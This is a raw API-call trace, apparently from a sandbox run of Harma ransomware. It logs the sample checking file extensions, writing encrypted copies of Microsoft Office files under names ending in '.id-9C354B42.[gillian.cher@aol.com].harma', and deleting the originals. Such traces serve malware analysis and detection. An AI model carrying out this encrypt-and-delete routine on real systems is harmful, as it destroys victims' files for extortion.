[0159.861] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0159.861] lstrlenW (lpString=".docx") returned 5 [0159.861] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0159.861] lstrlenW (lpString=".pdf") returned 4 [0159.861] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0159.861] lstrlenW (lpString=".xls") returned 4 [0159.861] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0159.861] lstrlenW (lpString=".xlsx") returned 5 [0159.861] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0159.861] lstrlenW (lpString=".ppt") returned 4 [0159.861] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0159.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0159.861] lstrlenW (lpString=".zip") returned 4 [0159.861] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0159.861] lstrlenW (lpString=".rar") returned 4 [0159.861] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0159.861] lstrlenW (lpString=".bz2") returned 4 [0159.861] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0159.861] lstrlenW (lpString=".7z") returned 3 [0159.861] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0159.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0159.862] lstrlenW (lpString=".dbf") returned 4 [0159.862] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0159.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0159.862] lstrlenW (lpString=".1cd") returned 4 [0159.862] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0159.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0159.862] lstrlenW (lpString=".jpg") returned 4 [0159.862] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0159.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0159.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0159.862] lstrlenW (lpString=".doc") returned 4 [0159.862] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0159.862] lstrlenW (lpString=".docx") returned 5 [0159.862] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0159.862] lstrlenW (lpString=".pdf") returned 4 [0159.862] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0159.862] lstrlenW (lpString=".xls") returned 4 [0159.862] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0159.862] lstrlenW (lpString=".xlsx") returned 5 [0159.862] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0159.862] lstrlenW (lpString=".ppt") returned 4 [0159.862] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0159.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0159.862] lstrlenW (lpString=".zip") returned 4 [0159.862] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0159.862] lstrlenW (lpString=".rar") returned 4 [0159.862] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0159.862] lstrlenW (lpString=".bz2") returned 4 [0159.862] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0159.862] lstrlenW (lpString=".7z") returned 3 [0159.862] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0159.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0159.863] lstrlenW (lpString=".dbf") returned 4 [0159.863] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0159.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0159.863] lstrlenW (lpString=".1cd") returned 4 [0159.863] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0159.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0159.863] lstrlenW (lpString=".jpg") returned 4 [0159.863] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0159.863] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0159.863] lstrlenW (lpString="PPINTL.DLL") returned 10 [0159.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.892] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1284456) returned 1 [0159.892] CloseHandle (hObject=0x348) returned 1 [0159.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll")) returned 0x20 [0159.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0159.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0159.893] lstrlenW (lpString=".doc") returned 4 [0159.893] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0159.893] lstrlenW (lpString=".docx") returned 5 [0159.893] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0159.893] lstrlenW (lpString=".pdf") returned 4 [0159.893] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0159.893] lstrlenW (lpString=".xls") returned 4 [0159.893] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0159.893] lstrlenW (lpString=".xlsx") returned 5 [0159.893] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0159.893] lstrlenW (lpString=".ppt") returned 4 [0159.893] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0159.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0159.893] lstrlenW (lpString=".zip") returned 4 [0159.893] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0159.893] lstrlenW (lpString=".rar") returned 4 [0159.893] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0159.893] lstrlenW (lpString=".bz2") returned 4 [0159.893] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0159.893] lstrlenW (lpString=".7z") returned 3 [0159.893] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0159.893] lstrlenW (lpString=".dbf") returned 4 [0159.893] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0159.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0159.893] lstrlenW (lpString=".1cd") returned 4 [0159.893] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0159.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0159.893] lstrlenW (lpString=".jpg") returned 4 [0159.894] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0159.894] lstrlenW (lpString=".doc") returned 4 [0159.894] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0159.894] lstrlenW (lpString=".docx") returned 5 [0159.894] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0159.894] lstrlenW (lpString=".pdf") returned 4 [0159.894] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0159.894] lstrlenW (lpString=".xls") returned 4 [0159.894] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0159.894] lstrlenW (lpString=".xlsx") returned 5 [0159.894] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0159.894] lstrlenW (lpString=".ppt") returned 4 [0159.894] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0159.894] lstrlenW (lpString=".zip") returned 4 [0159.894] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0159.894] lstrlenW (lpString=".rar") returned 4 [0159.894] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0159.894] lstrlenW (lpString=".bz2") returned 4 [0159.894] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0159.894] lstrlenW (lpString=".7z") returned 3 [0159.894] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0159.894] lstrlenW (lpString=".dbf") returned 4 [0159.894] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0159.894] lstrlenW (lpString=".1cd") returned 4 [0159.894] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0159.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0159.894] lstrlenW (lpString=".jpg") returned 4 [0159.895] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0159.895] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0159.895] lstrlenW (lpString="PPINTL.REST.IDX_DLL") returned 19 [0159.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.895] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=139648) returned 1 [0159.895] CloseHandle (hObject=0x348) returned 1 [0159.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll")) returned 0x20 [0159.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0159.896] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.896] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.897] GetLastError () returned 0x0 [0159.897] ReadFile (in: hFile=0x348, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x22180, lpOverlapped=0x0) returned 1 [0159.916] WriteFile (in: hFile=0x34c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x22190, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x22190, lpOverlapped=0x0) returned 1 [0159.919] ReadFile (in: hFile=0x348, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.919] WriteFile (in: hFile=0x34c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0159.919] SetEndOfFile (hFile=0x34c) returned 1 [0159.919] CloseHandle (hObject=0x34c) returned 1 [0159.920] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.920] SetEndOfFile (hFile=0x348) returned 1 [0159.924] CloseHandle (hObject=0x348) returned 1 [0159.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll")) returned 1 [0160.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0160.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0160.023] lstrlenW (lpString=".doc") returned 4 [0160.023] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0160.023] lstrlenW (lpString=".docx") returned 5 [0160.023] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0160.023] lstrlenW (lpString=".pdf") returned 4 [0160.023] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0160.023] lstrlenW (lpString=".xls") returned 4 [0160.023] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0160.023] lstrlenW (lpString=".xlsx") returned 5 [0160.023] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0160.023] lstrlenW (lpString=".ppt") returned 4 [0160.023] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0160.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0160.023] lstrlenW (lpString=".zip") returned 4 [0160.024] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0160.024] lstrlenW (lpString=".rar") returned 4 [0160.024] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0160.024] lstrlenW (lpString=".bz2") returned 4 [0160.024] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0160.024] lstrlenW (lpString=".7z") returned 3 [0160.024] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0160.024] lstrlenW (lpString=".dbf") returned 4 [0160.024] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0160.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0160.024] lstrlenW (lpString=".1cd") returned 4 [0160.024] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0160.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0160.024] lstrlenW (lpString=".jpg") returned 4 [0160.024] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0160.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0160.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0160.024] lstrlenW (lpString=".doc") returned 4 [0160.024] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0160.024] lstrlenW (lpString=".docx") returned 5 [0160.024] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0160.024] lstrlenW (lpString=".pdf") returned 4 [0160.024] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0160.024] lstrlenW (lpString=".xls") returned 4 [0160.025] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0160.025] lstrlenW (lpString=".xlsx") returned 5 [0160.025] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0160.025] lstrlenW (lpString=".ppt") returned 4 [0160.025] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0160.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0160.025] lstrlenW (lpString=".zip") returned 4 [0160.025] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0160.025] lstrlenW (lpString=".rar") returned 4 [0160.025] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0160.025] lstrlenW (lpString=".bz2") returned 4 [0160.025] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0160.025] lstrlenW (lpString=".7z") returned 3 [0160.025] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0160.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0160.025] lstrlenW (lpString=".dbf") returned 4 [0160.025] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0160.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0160.025] lstrlenW (lpString=".1cd") returned 4 [0160.025] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0160.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL") returned 67 [0160.025] lstrlenW (lpString=".jpg") returned 4 [0160.025] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0160.025] lstrcmpiW (lpString1=".SCM", lpString2=".harma") returned 1 [0160.025] lstrlenW (lpString="PUBCOLOR.SCM") returned 12 [0160.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0160.026] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=28160) returned 1 [0160.026] CloseHandle (hObject=0x330) returned 1 [0160.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm")) returned 0x20 [0160.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0160.027] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.027] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0160.027] GetLastError () returned 0x0 [0160.027] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x6e00, lpOverlapped=0x0) returned 1 [0160.071] WriteFile (in: hFile=0x358, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x6e10, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x6e10, lpOverlapped=0x0) returned 1 [0160.072] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.072] WriteFile (in: hFile=0x358, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.073] SetEndOfFile (hFile=0x358) returned 1 [0160.073] CloseHandle (hObject=0x358) returned 1 [0160.073] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.073] SetEndOfFile (hFile=0x330) returned 1 [0160.076] CloseHandle (hObject=0x330) returned 1 [0160.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubcolor.scm")) returned 1 [0160.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0160.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0160.077] lstrlenW (lpString=".doc") returned 4 [0160.077] lstrcmpiW (lpString1=".doc", lpString2=".SCM") returned -1 [0160.077] lstrlenW (lpString=".docx") returned 5 [0160.077] lstrcmpiW (lpString1=".docx", lpString2="R.SCM") returned -1 [0160.077] lstrlenW (lpString=".pdf") returned 4 [0160.078] lstrcmpiW (lpString1=".pdf", lpString2=".SCM") returned -1 [0160.078] lstrlenW (lpString=".xls") returned 4 [0160.078] lstrcmpiW (lpString1=".xls", lpString2=".SCM") returned 1 [0160.078] lstrlenW (lpString=".xlsx") returned 5 [0160.078] lstrcmpiW (lpString1=".xlsx", lpString2="R.SCM") returned -1 [0160.078] lstrlenW (lpString=".ppt") returned 4 [0160.078] lstrcmpiW (lpString1=".ppt", lpString2=".SCM") returned -1 [0160.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0160.078] lstrlenW (lpString=".zip") returned 4 [0160.078] lstrcmpiW (lpString1=".zip", lpString2=".SCM") returned 1 [0160.078] lstrlenW (lpString=".rar") returned 4 [0160.078] lstrcmpiW (lpString1=".rar", lpString2=".SCM") returned -1 [0160.078] lstrlenW (lpString=".bz2") returned 4 [0160.078] lstrcmpiW (lpString1=".bz2", lpString2=".SCM") returned -1 [0160.078] lstrlenW (lpString=".7z") returned 3 [0160.078] lstrcmpiW (lpString1=".7z", lpString2="SCM") returned -1 [0160.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0160.078] lstrlenW (lpString=".dbf") returned 4 [0160.078] lstrcmpiW (lpString1=".dbf", lpString2=".SCM") returned -1 [0160.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0160.078] lstrlenW (lpString=".1cd") returned 4 [0160.078] lstrcmpiW (lpString1=".1cd", lpString2=".SCM") returned -1 [0160.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0160.078] lstrlenW (lpString=".jpg") returned 4 [0160.078] lstrcmpiW (lpString1=".jpg", lpString2=".SCM") returned -1 [0160.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0160.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0160.078] lstrlenW (lpString=".doc") returned 4 [0160.078] lstrcmpiW (lpString1=".doc", lpString2=".SCM") returned -1 [0160.078] lstrlenW (lpString=".docx") returned 5 [0160.079] lstrcmpiW (lpString1=".docx", lpString2="R.SCM") returned -1 [0160.079] lstrlenW (lpString=".pdf") returned 4 [0160.079] lstrcmpiW (lpString1=".pdf", lpString2=".SCM") returned -1 [0160.079] lstrlenW (lpString=".xls") returned 4 [0160.079] lstrcmpiW (lpString1=".xls", lpString2=".SCM") returned 1 [0160.079] lstrlenW (lpString=".xlsx") returned 5 [0160.079] lstrcmpiW (lpString1=".xlsx", lpString2="R.SCM") returned -1 [0160.079] lstrlenW (lpString=".ppt") returned 4 [0160.079] lstrcmpiW (lpString1=".ppt", lpString2=".SCM") returned -1 [0160.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0160.079] lstrlenW (lpString=".zip") returned 4 [0160.079] lstrcmpiW (lpString1=".zip", lpString2=".SCM") returned 1 [0160.079] lstrlenW (lpString=".rar") returned 4 [0160.079] lstrcmpiW (lpString1=".rar", lpString2=".SCM") returned -1 [0160.079] lstrlenW (lpString=".bz2") returned 4 [0160.079] lstrcmpiW (lpString1=".bz2", lpString2=".SCM") returned -1 [0160.079] lstrlenW (lpString=".7z") returned 3 [0160.079] lstrcmpiW (lpString1=".7z", lpString2="SCM") returned -1 [0160.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0160.079] lstrlenW (lpString=".dbf") returned 4 [0160.079] lstrcmpiW (lpString1=".dbf", lpString2=".SCM") returned -1 [0160.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBCOLOR.SCM") returned 60 [0160.079] lstrlenW (lpString=".1cd") returned 4 [0160.079] lstrcmpiW (lpString1=".1cd", lpString2=".SCM") returned -1 